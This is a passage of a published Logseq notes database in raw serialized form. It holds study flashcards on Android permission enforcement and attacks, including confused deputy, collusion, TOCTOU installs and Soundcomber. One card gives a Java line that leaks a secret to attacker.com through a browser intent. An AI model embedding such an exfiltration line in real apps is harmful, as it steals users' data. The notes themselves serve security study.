logseq____"],536873940]],[logseq____"^15logseq____",[516,logseq____"^;logseq____",logseq____"~u67b98d05-f7aa-4d65-9297-cee0a45b21e8logseq____",536873913]],[logseq____"^15logseq____",[517,logseq____"^Qlogseq____",logseq____"*per-method* enforcement logiclogseq____",536873953]],[logseq____"^15logseq____",[517,logseq____"^Ologseq____",logseq____"^16logseq____",536873940]],[logseq____"^15logseq____",[517,logseq____"^Flogseq____",516,536873940]],[logseq____"^15logseq____",[517,logseq____"^Xlogseq____",413,536873940]],[logseq____"^15logseq____",[517,logseq____"^Vlogseq____",516,536873942]],[logseq____"^15logseq____",[517,logseq____"^Ulogseq____",2,536873941]],[logseq____"^15logseq____",[517,logseq____"^Ulogseq____",38,536873941]],[logseq____"^15logseq____",[517,logseq____"^Ulogseq____",413,536873941]],[logseq____"^15logseq____",[517,logseq____"^?logseq____",[logseq____"^ logseq____"],536873953]],[logseq____"^15logseq____",[517,logseq____"^;logseq____",logseq____"~u67b98d1b-29ab-4a47-a95d-9a9387ceb6a0logseq____",536873940]],[logseq____"^15logseq____",[518,logseq____"^Qlogseq____",logseq____"must be implemented for all api methodslogseq____",536873960]],[logseq____"^15logseq____",[518,logseq____"^Ologseq____",logseq____"^16logseq____",536873956]],[logseq____"^15logseq____",[518,logseq____"^Flogseq____",517,536873956]],[logseq____"^15logseq____",[518,logseq____"^Xlogseq____",413,536873956]],[logseq____"^15logseq____",[518,logseq____"^Vlogseq____",516,536873956]],[logseq____"^15logseq____",[518,logseq____"^Ulogseq____",2,536873957]],[logseq____"^15logseq____",[518,logseq____"^Ulogseq____",38,536873957]],[logseq____"^15logseq____",[518,logseq____"^Ulogseq____",413,536873957]],[logseq____"^15logseq____",[518,logseq____"^?logseq____",[logseq____"^ logseq____"],536873960]],[logseq____"^15logseq____",[518,logseq____"^;logseq____",logseq____"~u67b98d27-7168-4a96-a34b-92c890885acclogseq____",536873956]],[logseq____"^15logseq____",[519,logseq____"^Qlogseq____",logseq____"Declare component permissions in [[Application Manifest]]logseq____",536874025]],[logseq____"^15logseq____",[519,logseq____"^Ologseq____",logseq____"^16logseq____",536873960]],[logseq____"^15logseq____",[519,logseq____"^Flogseq____",516,536873962]],[logseq____"^15logseq____",[519,logseq____"^Xlogseq____",413,536873960]],[logseq____"^15logseq____",[519,logseq____"^Vlogseq____",513,536873962]],[logseq____"^15logseq____",[519,logseq____"^Ulogseq____",2,536874026]],[logseq____"^15logseq____",[519,logseq____"^Ulogseq____",28,536874026]],[logseq____"^15logseq____",[519,logseq____"^Ulogseq____",38,536874026]],[logseq____"^15logseq____",[519,logseq____"^Ulogseq____",413,536874026]],[logseq____"^15logseq____",[519,logseq____"^?logseq____",[logseq____"^ logseq____"],536874025]],[logseq____"^15logseq____",[519,logseq____"^Hlogseq____",28,536874025]],[logseq____"^15logseq____",[519,logseq____"^;logseq____",logseq____"~u67b98d31-4be8-4fb3-b31e-7394be843beflogseq____",536873960]],[logseq____"^15logseq____",[520,logseq____"^Qlogseq____",logseq____"relaxes to only simple policieslogseq____",536873998]],[logseq____"^15logseq____",[520,logseq____"^Ologseq____",logseq____"^16logseq____",536873988]],[logseq____"^15logseq____",[520,logseq____"^Flogseq____",519,536873988]],[logseq____"^15logseq____",[520,logseq____"^Xlogseq____",413,536873988]],[logseq____"^15logseq____",[520,logseq____"^Vlogseq____",519,536873992]],[logseq____"^15logseq____",[520,logseq____"^Ulogseq____",2,536874026]],[logseq____"^15logseq____",[520,logseq____"^Ulogseq____",28,536874026]],[logseq____"^15logseq____",[520,logseq____"^Ulogseq____",38,536874026]],[logseq____"^15logseq____",[520,logseq____"^Ulogseq____",413,536874026]],[logseq____"^15logseq____",[520,logseq____"^?logseq____",[logseq____"^ logseq____"],536873998]],[logseq____"^15logseq____",[520,logseq____"^;logseq____",logseq____"~u67b98d56-f221-4afb-8792-1cce5c4060fflogseq____",536873988]],[logseq____"^15logseq____",[521,logseq____"^Qlogseq____",logseq____"policy enforcement delegated to OSlogseq____",536874014]],[logseq____"^15logseq____",[521,logseq____"^Ologseq____",logseq____"^16logseq____",536873998]],[logseq____"^15logseq____",[521,logseq____"^Flogseq____",520,536873998]],[logseq____"^15logseq____",[521,logseq____"^Xlogseq____",413,536873998]],[logseq____"^15logseq____",[521,logseq____"^Vlogseq____",519,536873998]],[logseq____"^15logseq____",[521,logseq____"^Ulogseq____",2,536874026]],[logseq____"^15logseq____",[521,logseq____"^Ulogseq____",28,536874026]],[logseq____"^15logseq____",[521,logseq____"^Ulogseq____",38,536874026]],[logseq____"^15logseq____",[521,logseq____"^Ulogseq____",413,536874026]],[logseq____"^15logseq____",[521,logseq____"^?logseq____",[logseq____"^ logseq____"],536874014]],[logseq____"^15logseq____",[521,logseq____"^;logseq____",logseq____"~u67b98d64-affc-46fe-9f97-2cb4da2d2465logseq____",536873998]],[logseq____"^15logseq____",[523,logseq____"^Qlogseq____",logseq____"## Enforcing Permissions via Linux Kernel #card #security-architecturelogseq____",536874172]],[logseq____"^15logseq____",[523,logseq____"^Ologseq____",logseq____"^16logseq____",536874038]],[logseq____"^15logseq____",[523,logseq____"^Flogseq____",478,536874045]],[logseq____"^15logseq____",[523,logseq____"^Xlogseq____",354,536874038]],[logseq____"^15logseq____",[523,logseq____"^Vlogseq____",354,536874045]],[logseq____"^15logseq____",[523,logseq____"^Ulogseq____",2,536874173]],[logseq____"^15logseq____",[523,logseq____"^Ulogseq____",38,536874173]],[logseq____"^15logseq____",[523,logseq____"^Ulogseq____",354,536874173]],[logseq____"^15logseq____",[523,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874172]],[logseq____"^15logseq____",[523,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874172]],[logseq____"^15logseq____",[523,logseq____"^Hlogseq____",2,536874172]],[logseq____"^15logseq____",[523,logseq____"^Hlogseq____",38,536874172]],[logseq____"^15logseq____",[523,logseq____"^;logseq____",logseq____"~u67b98fbf-647f-49c9-b694-5cc32e9782dblogseq____",536874038]],[logseq____"^15logseq____",[524,logseq____"^Qlogseq____",logseq____"Certain actions are communicated to the kernel directly, e.g., `syscall` for physical resourceslogseq____",536874082]],[logseq____"^15logseq____",[524,logseq____"^Ologseq____",logseq____"^16logseq____",536874055]],[logseq____"^15logseq____",[524,logseq____"^Flogseq____",523,536874055]],[logseq____"^15logseq____",[524,logseq____"^Xlogseq____",354,536874055]],[logseq____"^15logseq____",[524,logseq____"^Vlogseq____",523,536874061]],[logseq____"^15logseq____",[524,logseq____"^Ulogseq____",2,536874173]],[logseq____"^15logseq____",[524,logseq____"^Ulogseq____",38,536874173]],[logseq____"^15logseq____",[524,logseq____"^Ulogseq____",354,536874173]],[logseq____"^15logseq____",[524,logseq____"^?logseq____",[logseq____"^ logseq____"],536874082]],[logseq____"^15logseq____",[524,logseq____"^;logseq____",logseq____"~u67b98fcd-c886-4e73-b17e-65936cfabedblogseq____",536874055]],[logseq____"^15logseq____",[525,logseq____"^Qlogseq____",logseq____"Handled via `GID` app gets added to groups on installlogseq____",536874102]],[logseq____"^15logseq____",[525,logseq____"^Ologseq____",logseq____"^16logseq____",536874082]],[logseq____"^15logseq____",[525,logseq____"^Flogseq____",524,536874082]],[logseq____"^15logseq____",[525,logseq____"^Xlogseq____",354,536874082]],[logseq____"^15logseq____",[525,logseq____"^Vlogseq____",523,536874082]],[logseq____"^15logseq____",[525,logseq____"^Ulogseq____",2,536874173]],[logseq____"^15logseq____",[525,logseq____"^Ulogseq____",38,536874173]],[logseq____"^15logseq____",[525,logseq____"^Ulogseq____",354,536874173]],[logseq____"^15logseq____",[525,logseq____"^?logseq____",[logseq____"^ logseq____"],536874102]],[logseq____"^15logseq____",[525,logseq____"^;logseq____",logseq____"~u67b98fec-fd50-438c-883d-06d063298efblogseq____",536874082]],[logseq____"^15logseq____",[526,logseq____"^Qlogseq____",logseq____"Kernel errors are then translated to Java `SecurityException`s by core librarieslogseq____",536874121]],[logseq____"^15logseq____",[526,logseq____"^Ologseq____",logseq____"^16logseq____",536874105]],[logseq____"^15logseq____",[526,logseq____"^Flogseq____",525,536874105]],[logseq____"^15logseq____",[526,logseq____"^Xlogseq____",354,536874105]],[logseq____"^15logseq____",[526,logseq____"^Vlogseq____",523,536874105]],[logseq____"^15logseq____",[526,logseq____"^Ulogseq____",2,536874173]],[logseq____"^15logseq____",[526,logseq____"^Ulogseq____",38,536874173]],[logseq____"^15logseq____",[526,logseq____"^Ulogseq____",354,536874173]],[logseq____"^15logseq____",[526,logseq____"^?logseq____",[logseq____"^ logseq____"],536874121]],[logseq____"^15logseq____",[526,logseq____"^;logseq____",logseq____"~u67b99014-f6a4-4dd4-ae5f-0ed4677e2e4alogseq____",536874105]],[logseq____"^15logseq____",[527,logseq____"^Qlogseq____",logseq____"No *delegation* or *revocation* in Kernel (requires APP restarts)logseq____",536874153]],[logseq____"^15logseq____",[527,logseq____"^Ologseq____",logseq____"^16logseq____",536874124]],[logseq____"^15logseq____",[527,logseq____"^Flogseq____",526,536874124]],[logseq____"^15logseq____",[527,logseq____"^Xlogseq____",354,536874124]],[logseq____"^15logseq____",[527,logseq____"^Vlogseq____",523,536874124]],[logseq____"^15logseq____",[527,logseq____"^Ulogseq____",2,536874173]],[logseq____"^15logseq____",[527,logseq____"^Ulogseq____",38,536874173]],[logseq____"^15logseq____",[527,logseq____"^Ulogseq____",354,536874173]],[logseq____"^15logseq____",[527,logseq____"^?logseq____",[logseq____"^ logseq____"],536874153]],[logseq____"^15logseq____",[527,logseq____"^;logseq____",logseq____"~u67b990b5-d413-4ee4-a2d4-a95a13718250logseq____",536874124]],[logseq____"^15logseq____",[528,logseq____"^Qlogseq____",logseq____"## Confused Deputy Attack #card #security-architecturelogseq____",536874655]],[logseq____"^15logseq____",[528,logseq____"^Ologseq____",logseq____"^16logseq____",536874157]],[logseq____"^15logseq____",[528,logseq____"^Flogseq____",523,536874161]],[logseq____"^15logseq____",[528,logseq____"^Xlogseq____",354,536874157]],[logseq____"^15logseq____",[528,logseq____"^Vlogseq____",354,536874161]],[logseq____"^15logseq____",[528,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[528,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[528,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[528,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874655]],[logseq____"^15logseq____",[528,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874655]],[logseq____"^15logseq____",[528,logseq____"^Hlogseq____",2,536874655]],[logseq____"^15logseq____",[528,logseq____"^Hlogseq____",38,536874655]],[logseq____"^15logseq____",[528,logseq____"^;logseq____",logseq____"~u67b9916a-6bf3-484b-8789-97ba34ac6c7clogseq____",536874157]],[logseq____"^15logseq____",[529,logseq____"^Qlogseq____",logseq____"Fool privileged app into misusing its privilegeslogseq____",536874219]],[logseq____"^15logseq____",[529,logseq____"^Ologseq____",logseq____"^16logseq____",536874183]],[logseq____"^15logseq____",[529,logseq____"^Flogseq____",528,536874183]],[logseq____"^15logseq____",[529,logseq____"^Xlogseq____",354,536874183]],[logseq____"^15logseq____",[529,logseq____"^Vlogseq____",528,536874185]],[logseq____"^15logseq____",[529,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[529,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[529,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[529,logseq____"^?logseq____",[logseq____"^ logseq____"],536874219]],[logseq____"^15logseq____",[529,logseq____"^;logseq____",logseq____"~u67b9917d-b9b8-4ba9-9c8a-0af397ccef84logseq____",536874183]],[logseq____"^15logseq____",[530,logseq____"^Qlogseq____",logseq____"### Misuse browser for internet accesslogseq____",536874235]],[logseq____"^15logseq____",[530,logseq____"^Ologseq____",logseq____"^16logseq____",536874219]],[logseq____"^15logseq____",[530,logseq____"^Flogseq____",529,536874219]],[logseq____"^15logseq____",[530,logseq____"^Xlogseq____",354,536874219]],[logseq____"^15logseq____",[530,logseq____"^Vlogseq____",528,536874219]],[logseq____"^15logseq____",[530,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[530,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[530,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[530,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874235]],[logseq____"^15logseq____",[530,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874235]],[logseq____"^15logseq____",[530,logseq____"^;logseq____",logseq____"~u67b99199-6662-40d9-b0f7-2e6d248f94bclogseq____",536874219]],[logseq____"^15logseq____",[531,logseq____"^Qlogseq____",logseq____"Leak: `startActivity(new Intent(Intent.ActionView, Uri.parse(\\logseq____"https://attacker.com/data?secret=\\logseq____" + secret)));`logseq____",536874298]],[logseq____"^15logseq____",[531,logseq____"^Ologseq____",logseq____"^16logseq____",536874235]],[logseq____"^15logseq____",[531,logseq____"^Flogseq____",530,536874235]],[logseq____"^15logseq____",[531,logseq____"^Xlogseq____",354,536874235]],[logseq____"^15logseq____",[531,logseq____"^Vlogseq____",530,536874239]],[logseq____"^15logseq____",[531,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[531,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[531,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[531,logseq____"^?logseq____",[logseq____"^ logseq____"],536874298]],[logseq____"^15logseq____",[531,logseq____"^;logseq____",logseq____"~u67b991a8-6504-41d2-b7aa-ad2471d16f4clogseq____",536874235]],[logseq____"^15logseq____",[532,logseq____"^Qlogseq____",logseq____"Receive: Define intent filter, such that browser will open attacker app `nethack:data?param=server_data`logseq____",536874326]],[logseq____"^15logseq____",[532,logseq____"^Ologseq____",logseq____"^16logseq____",536874298]],[logseq____"^15logseq____",[532,logseq____"^Flogseq____",531,536874298]],[logseq____"^15logseq____",[532,logseq____"^Xlogseq____",354,536874298]],[logseq____"^15logseq____",[532,logseq____"^Vlogseq____",530,536874298]],[logseq____"^15logseq____",[532,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[532,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[532,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[532,logseq____"^?logseq____",[logseq____"^ logseq____"],536874326]],[logseq____"^15logseq____",[532,logseq____"^;logseq____",logseq____"~u67b991d6-f311-4497-9d06-96801872db8blogseq____",536874298]],[logseq____"^15logseq____",[533,logseq____"^Qlogseq____",logseq____"### Passive Content Leakslogseq____",536874339]],[logseq____"^15logseq____",[533,logseq____"^Ologseq____",logseq____"^16logseq____",536874327]],[logseq____"^15logseq____",[533,logseq____"^Flogseq____",530,536874420]],[logseq____"^15logseq____",[533,logseq____"^Xlogseq____",354,536874327]],[logseq____"^15logseq____",[533,logseq____"^Vlogseq____",528,536874420]],[logseq____"^15logseq____",[533,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[533,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[533,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[533,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874339]],[logseq____"^15logseq____",[533,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874339]],[logseq____"^15logseq____",[533,logseq____"^;logseq____",logseq____"~u67b99205-2a6e-4d6f-982f-2ca3a32ab997logseq____",536874327]],[logseq____"^15logseq____",[534,logseq____"^Qlogseq____",logseq____"Study revealed 2% of analyzed apps leak sensitive data, via SMS messages, contacts, user credentials etc.logseq____",536874379]],[logseq____"^15logseq____",[534,logseq____"^Ologseq____",logseq____"^16logseq____",536874339]],[logseq____"^15logseq____",[534,logseq____"^Flogseq____",533,536874339]],[logseq____"^15logseq____",[534,logseq____"^Xlogseq____",354,536874339]],[logseq____"^15logseq____",[534,logseq____"^Vlogseq____",533,536874341]],[logseq____"^15logseq____",[534,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[534,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[534,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[534,logseq____"^?logseq____",[logseq____"^ logseq____"],536874379]],[logseq____"^15logseq____",[534,logseq____"^;logseq____",logseq____"~u67b9921b-abeb-4b60-8c74-5f0d2120a978logseq____",536874339]],[logseq____"^15logseq____",[535,logseq____"^Qlogseq____",logseq____"1.4% of apps allowed for content pollution (injecting data triggers privileged functionality)logseq____",536874437]],[logseq____"^15logseq____",[535,logseq____"^Ologseq____",logseq____"^16logseq____",536874382]],[logseq____"^15logseq____",[535,logseq____"^Flogseq____",534,536874382]],[logseq____"^15logseq____",[535,logseq____"^Xlogseq____",354,536874382]],[logseq____"^15logseq____",[535,logseq____"^Vlogseq____",533,536874382]],[logseq____"^15logseq____",[535,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[535,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[535,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[535,logseq____"^?logseq____",[logseq____"^ logseq____"],536874437]],[logseq____"^15logseq____",[535,logseq____"^;logseq____",logseq____"~u67b99273-2aa0-4841-aa2e-cd917e0371a8logseq____",536874382]],[logseq____"^15logseq____",[536,logseq____"^Qlogseq____",logseq____"## Collusion Attacks #card #security-architecturelogseq____",536874659]],[logseq____"^15logseq____",[536,logseq____"^Ologseq____",logseq____"^16logseq____",536874392]],[logseq____"^15logseq____",[536,logseq____"^Flogseq____",528,536874412]],[logseq____"^15logseq____",[536,logseq____"^Xlogseq____",354,536874392]],[logseq____"^15logseq____",[536,logseq____"^Vlogseq____",354,536874412]],[logseq____"^15logseq____",[536,logseq____"^Ulogseq____",2,536874660]],[logseq____"^15logseq____",[536,logseq____"^Ulogseq____",38,536874660]],[logseq____"^15logseq____",[536,logseq____"^Ulogseq____",354,536874660]],[logseq____"^15logseq____",[536,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874659]],[logseq____"^15logseq____",[536,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874659]],[logseq____"^15logseq____",[536,logseq____"^Hlogseq____",2,536874659]],[logseq____"^15logseq____",[536,logseq____"^Hlogseq____",38,536874659]],[logseq____"^15logseq____",[536,logseq____"^;logseq____",logseq____"~u67b9928d-f769-4958-8aba-8614313e616flogseq____",536874392]],[logseq____"^15logseq____",[537,logseq____"^Qlogseq____",logseq____"Malicious Apps collude to merge their permissionslogseq____",536874610]],[logseq____"^15logseq____",[537,logseq____"^Ologseq____",logseq____"^16logseq____",536874424]],[logseq____"^15logseq____",[537,logseq____"^Flogseq____",536,536874424]],[logseq____"^15logseq____",[537,logseq____"^Xlogseq____",354,536874424]],[logseq____"^15logseq____",[537,logseq____"^Vlogseq____",536,536874428]],[logseq____"^15logseq____",[537,logseq____"^Ulogseq____",2,536874660]],[logseq____"^15logseq____",[537,logseq____"^Ulogseq____",38,536874660]],[logseq____"^15logseq____",[537,logseq____"^Ulogseq____",354,536874660]],[logseq____"^15logseq____",[537,logseq____"^?logseq____",[logseq____"^ logseq____"],536874610]],[logseq____"^15logseq____",[537,logseq____"^;logseq____",logseq____"~u67b992ae-9630-4444-b65b-12ac442e5232logseq____",536874424]],[logseq____"^15logseq____",[538,logseq____"^Qlogseq____",logseq____"### Unauthorized Installslogseq____",536874513]],[logseq____"^15logseq____",[538,logseq____"^Ologseq____",logseq____"^16logseq____",536874440]],[logseq____"^15logseq____",[538,logseq____"^Flogseq____",533,536874442]],[logseq____"^15logseq____",[538,logseq____"^Xlogseq____",354,536874440]],[logseq____"^15logseq____",[538,logseq____"^Vlogseq____",528,536874442]],[logseq____"^15logseq____",[538,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[538,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[538,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[538,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874513]],[logseq____"^15logseq____",[538,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874513]],[logseq____"^15logseq____",[538,logseq____"^;logseq____",logseq____"~u67b992d6-768c-4d0a-b7eb-8b556d65b3f2logseq____",536874440]],[logseq____"^15logseq____",[539,logseq____"^Qlogseq____",logseq____"Third party app installers often store APKs on external storagelogseq____",536874463]],[logseq____"^15logseq____",[539,logseq____"^Ologseq____",logseq____"^16logseq____",536874447]],[logseq____"^15logseq____",[539,logseq____"^Flogseq____",538,536874447]],[logseq____"^15logseq____",[539,logseq____"^Xlogseq____",354,536874447]],[logseq____"^15logseq____",[539,logseq____"^Vlogseq____",538,536874449]],[logseq____"^15logseq____",[539,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[539,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[539,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[539,logseq____"^?logseq____",[logseq____"^ logseq____"],536874463]],[logseq____"^15logseq____",[539,logseq____"^;logseq____",logseq____"~u67b992dc-9d5e-465a-a53e-2438abba83c9logseq____",536874447]],[logseq____"^15logseq____",[540,logseq____"^Qlogseq____",logseq____"Malicious apps may place/overwrite APK files tricking the installer into installing malicious APKs (TOCTOU vulnerablitiy)logseq____",536874500]],[logseq____"^15logseq____",[540,logseq____"^Ologseq____",logseq____"^16logseq____",536874463]],[logseq____"^15logseq____",[540,logseq____"^Flogseq____",539,536874463]],[logseq____"^15logseq____",[540,logseq____"^Xlogseq____",354,536874463]],[logseq____"^15logseq____",[540,logseq____"^Vlogseq____",538,536874463]],[logseq____"^15logseq____",[540,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[540,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[540,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[540,logseq____"^?logseq____",[logseq____"^ logseq____"],536874500]],[logseq____"^15logseq____",[540,logseq____"^;logseq____",logseq____"~u67b992ed-6453-49f8-9312-a6b6d739a675logseq____",536874463]],[logseq____"^15logseq____",[541,logseq____"^Qlogseq____",logseq____"### System Serviceslogseq____",536874520]],[logseq____"^15logseq____",[541,logseq____"^Ologseq____",logseq____"^16logseq____",536874503]],[logseq____"^15logseq____",[541,logseq____"^Flogseq____",538,536874507]],[logseq____"^15logseq____",[541,logseq____"^Xlogseq____",354,536874503]],[logseq____"^15logseq____",[541,logseq____"^Vlogseq____",528,536874507]],[logseq____"^15logseq____",[541,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[541,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[541,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[541,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874520]],[logseq____"^15logseq____",[541,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874520]],[logseq____"^15logseq____",[541,logseq____"^;logseq____",logseq____"~u67b993ea-36fc-4b97-ad50-6ddbcf96b8belogseq____",536874503]],[logseq____"^15logseq____",[542,logseq____"^Qlogseq____",logseq____"Calling a system service has a side-effect onto another system servicelogseq____",536874539]],[logseq____"^15logseq____",[542,logseq____"^Ologseq____",logseq____"^16logseq____",536874520]],[logseq____"^15logseq____",[542,logseq____"^Flogseq____",541,536874520]],[logseq____"^15logseq____",[542,logseq____"^Xlogseq____",354,536874520]],[logseq____"^15logseq____",[542,logseq____"^Vlogseq____",541,536874522]],[logseq____"^15logseq____",[542,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[542,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[542,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[542,logseq____"^?logseq____",[logseq____"^ logseq____"],536874539]],[logseq____"^15logseq____",[542,logseq____"^;logseq____",logseq____"~u67b993f7-5625-405c-b62a-de7b94af2661logseq____",536874520]],[logseq____"^15logseq____",[543,logseq____"^Qlogseq____",logseq____"ContentProvider checks callers permissions (`getCallingUid`), but ActivityManagerService could be misused to call `openFile` of ContentProvider with system privilegeslogseq____",536874598]],[logseq____"^15logseq____",[543,logseq____"^Ologseq____",logseq____"^16logseq____",536874540]],[logseq____"^15logseq____",[543,logseq____"^Flogseq____",542,536874540]],[logseq____"^15logseq____",[543,logseq____"^Xlogseq____",354,536874540]],[logseq____"^15logseq____",[543,logseq____"^Vlogseq____",541,536874540]],[logseq____"^15logseq____",[543,logseq____"^Ulogseq____",2,536874656]],[logseq____"^15logseq____",[543,logseq____"^Ulogseq____",38,536874656]],[logseq____"^15logseq____",[543,logseq____"^Ulogseq____",354,536874656]],[logseq____"^15logseq____",[543,logseq____"^?logseq____",[logseq____"^ logseq____"],536874598]],[logseq____"^15logseq____",[543,logseq____"^;logseq____",logseq____"~u67b99411-e3ca-4891-8c65-7923841413a8logseq____",536874540]],[logseq____"^15logseq____",[544,logseq____"^Qlogseq____",logseq____"### Soundcomberlogseq____",536874614]],[logseq____"^15logseq____",[544,logseq____"^Ologseq____",logseq____"^16logseq____",536874610]],[logseq____"^15logseq____",[544,logseq____"^Flogseq____",537,536874610]],[logseq____"^15logseq____",[544,logseq____"^Xlogseq____",354,536874610]],[logseq____"^15logseq____",[544,logseq____"^Vlogseq____",536,536874610]],[logseq____"^15logseq____",[544,logseq____"^Ulogseq____",2,536874660]],[logseq____"^15logseq____",[544,logseq____"^Ulogseq____",38,536874660]],[logseq____"^15logseq____",[544,logseq____"^Ulogseq____",354,536874660]],[logseq____"^15logseq____",[544,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874614]],[logseq____"^15logseq____",[544,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536874614]],[logseq____"^15logseq____",[544,logseq____"^;logseq____",logseq____"~u67b994bc-78b4-44fd-a8bc-da76f41eab8blogseq____",536874610]],[logseq____"^15logseq____",[545,logseq____"^Qlogseq____",logseq____"App A(Internet) and App (B) voice extracted credit card number form speechlogseq____",536874642]],[logseq____"^15logseq____",[545,logseq____"^Ologseq____",logseq____"^16logseq____",536874614]],[logseq____"^15logseq____",[545,logseq____"^Flogseq____",544,536874614]],[logseq____"^15logseq____",[545,logseq____"^Xlogseq____",354,536874614]],[logseq____"^15logseq____",[545,logseq____"^Vlogseq____",544,536874616]],[logseq____"^15logseq____",[545,logseq____"^Ulogseq____",2,536874660]],[logseq____"^15logseq____",[545,logseq____"^Ulogseq____",38,536874660]],[logseq____"^15logseq____",[545,logseq____"^Ulogseq____",354,536874660]],[logseq____"^15logseq____",[545,logseq____"^?logseq____",[logseq____"^ logseq____"],536874642]],[logseq____"^15logseq____",[545,logseq____"^;logseq____",logseq____"~u67b994ed-3649-45fb-8758-1b849b851990logseq____",536874614]],[logseq____"^15logseq____",[546,logseq____"^Qlogseq____",logseq____"Communicated via Audio Volume Settinglogseq____",536874652]],[logseq____"^15logseq____",[546,logseq____"^Ologseq____",logseq____"^16logseq____",536874645]],[logseq____"^15logseq____",[546,logseq____"^Flogseq____",545,536874645]],[logseq____"^15logseq____",[546,logseq____"^Xlogseq____",354,536874645]],[logseq____"^15logseq____",[546,logseq____"^Vlogseq____",544,536874645]],[logseq____"^15logseq____",[546,logseq____"^Ulogseq____",2,536874660]],[logseq____"^15logseq____",[546,logseq____"^Ulogseq____",38,536874660]],[logseq____"^15logseq____",[546,logseq____"^Ulogseq____",354,536874660]],[logseq____"^15logseq____",[546,logseq____"^?logseq____",[logseq____"^ logseq____"],536874652]],[logseq____"^15logseq____",[546,logseq____"^;logseq____",logseq____"~u67b99519-6713-4168-8973-14bb3cc6d208logseq____",536874645]]]]]]"</script>
|
||
<script>window.logseq_state="{:ui/theme \"light\", :ui/sidebar-collapsed-blocks {}, :config {\"local\" {:feature/enable-whiteboards? false, :shortcuts {}, :graph/forcesettings {:link-dist 140, :charge-strength -800, :charge-range 1300}, :default-templates {:journals \"\"}, :feature/enable-journals? false, :query/views {:pprint (fn [r] [:pre.code (pprint r)])}, :macros {}, :shortcut/doc-mode-enter-for-new-block? false, :favorites [], :ui/show-empty-bullets? false, :file/name-format :triple-lowbar, :preferred-workflow :now, :publishing/all-pages-public? true, :ref/default-open-blocks-level 2, :feature/enable-block-timestamps? false, :start-of-week 6, :feature/enable-timetracking? false, :ref/linked-references-collapsed-threshold 50, :outliner/block-title-collapse-enabled? false, :commands [], :ui/show-full-blocks? false, :meta/version 1, :hidden [], :default-queries {:journals [{:title \"🔨 NOW\", :query [:find (pull ?h [*]) :in $ ?start ?today :where [?h :block/marker ?marker] [(contains? #{\"NOW\" \"DOING\"} ?marker)] [?h :block/page ?p] [?p :block/journal? true] [?p :block/journal-day ?d] [(>= ?d ?start)] [(<= ?d ?today)]], :inputs [:14d :today], :result-transform (fn [result] (sort-by (fn [h] (get h :block/priority \"Z\")) result)), :group-by-page? false, :collapsed? false} {:title \"📅 NEXT\", :query [:find (pull ?h [*]) :in $ ?start ?next :where [?h :block/marker ?marker] [(contains? #{\"NOW\" \"LATER\" \"TODO\"} ?marker)] [?h :block/page ?p] [?p :block/journal? true] [?p :block/journal-day ?d] [(> ?d ?start)] [(< ?d ?next)]], :inputs [:today :7d-after], :group-by-page? false, :collapsed? false}]}, :ui/auto-expand-block-refs? true, :ui/enable-tooltip? true, :query/result-transforms {:sort-by-priority (fn [result] (sort-by (fn [h] (get h :block/priority \"Z\")) result))}, :graph/settings {:builtin-pages? false}, :property-pages/enabled? true, 